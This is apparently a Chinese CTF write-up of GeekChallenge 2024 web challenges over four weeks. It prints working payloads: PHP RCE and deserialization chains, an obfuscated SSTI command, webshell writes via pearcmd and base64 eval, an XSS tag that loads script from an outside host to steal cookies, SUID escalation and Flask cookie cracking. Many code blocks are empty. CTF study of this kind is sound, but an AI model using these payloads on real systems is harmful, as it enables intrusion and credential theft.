GeekChallenge2024 第十五届极客大挑战
week 1
100%的⚪
签到题
rce_me
源码
1 |
|
get
1 | http://80-aaab9218-ace6-48c3-87d1-ae071fd55e5d.challenge.ctfplus.cn?year=1e4&purpose=rce[]&code=echo shell_exec('nl /flag'); |
post
1 | start=start111now&_[2024.geekchallenge.ctf=10932435112 |
baby_upload
123.xxx.php绕过
Problem_On_My_Web
froms打<sCRiPt sRC=//uj.ci/zu7></sCrIpT>
注入xss代码后访问manager,post url=http://127.0.0.1,使bot访问主页,得到cookie
ezpop
1 | 听说pop链很难?来做做我的找找自信吧(如果遇到500报错,请耐心等待几秒钟刷新即可,flag在/flag) |
源码
1 |
|
链子构造不难,有几个点在卡
meimeng过滤
S+十六进制绕过即可
比较使用伪协议绕过
data://text/plain,Welcome GeekChallenge 2024
死亡绕过
https://whippet0.github.io/2020/09/30/file_put_contents/
使用
S+php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\0a\23/resource=.htaccess
分析链子
1 |
|
构造exp
1 |
|
手工改一下十六进制
最终payload
1 | ?data=O:5:"lover":2:{s:5:"J1rry";s:96:"php://filter/read=string.strip_tags/resource=data://text/plain,<a>Welcome GeekChallenge 2024</a>";S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";s:96:"php://filter/read=string.strip_tags/resource=data://text/plain,<a>Welcome GeekChallenge 2024</a>";S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";S:93:"php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\0a\23/resource=.htaccess";}}}}} |
week2
ez_http
签到题 不解释
jwt改一改即可
Can_you_Pass_Me
fenjing一把梭
读取
1 | /proc/self/environ |
学习拉神的payload
1 | {%print(joiner|attr('_''_init__')|attr('_''_globals__'))|attr('__g''etitem__')('_''_builtins__')|attr('__g''etitem__')('__import__')('o''s')|attr('p''open')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x7c\x62\x61\x73\x65\x36\x34')|attr('r''ead')()%} |
ez_include
第一步
包含的软连接层数较多时,hash匹配会直接失效造成重复包含:
1 | ?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php |
第二步 pear写马
1 | ?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_REQUEST['hack']);?>+/var/www/html/shell.php |
后phpinfo
SecretInDrivingSchool
爆破题
SYC@xxxxxx登录后改phpinfo
ez_SSRF
1 |
|
通过user传递参数
week 3
PHP不比Java差
Java有的我们PHP也有
1 |
|
构造反序列化
1 |
|
1 |
|
flag无法直接读取,需要提权
1 | find / -perm -u=s -type f 2>/dev/null |
使用file提权
1 |
|
py_game
学习累了就来玩玩游戏休息一下吧
通关真的会给flag吗?
注册一个号登录
1 | C:\Users\31702>flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6InlpeWkifQ.Z1bGIg.ythxK3WoD7xuRT0-hdqQeqKTFz4" --wordlist C:\Users\31702\Desktop\python\rockyou.txt --no-literal-eval |
伪造admin成功登录
1 | C:\Users\31702>flask-unsign --unsign --cookie "eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoieWl5aSJ9.Z1bJKw.JD64-2U1KWo0hQ8wTY7DA_jZmEA" --wordlist C:\Users\31702\Desktop\python\rockyou.txt --no-literal-eval |
下载后反编译得到源码
1 | # uncompyle6 version 3.9.1 |
经典
查看引用
考虑污染app.config[“xml_data”]
black_list
1 | black_list = [ |
用unicode绕过
1 | { |
访问xml_parse
jwt_pickle
web、cry
存档
week 4
not_just_pop
1 |
|
构造链子
1 |
|
exp
注:$execurise得改为public
1 |
|
写入木马后
1 | cmd=file_put_contents('shell3.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=')); |
新写一个shell文件供蚁剑连接,连接后发现存在disable_function
使用插件绕过,测试后发现使用PHP7_Backtrace_UAF可以成功执行命令,提权读/flag
ez_python
五个月前,道心破碎,于是便出了这道题,你能治愈当时的我破碎的心灵吗?我会给你flag作为奖励……
登录后拿到源码
1 | import os |
打pickle反序列化
1 | # encoding: utf-8 |
学习拉神的思路,RCE盲注
1 | import requests |
ez_js
can you polluted me?
1 | {"username":"Starven","password":"123456","hasFlag":true} |
flag中提示方法和login一样,逗号给ban了,用&来bypass
1 | {"username":"Starven"&syc="password":"123456"&syc="hasFlag":true} |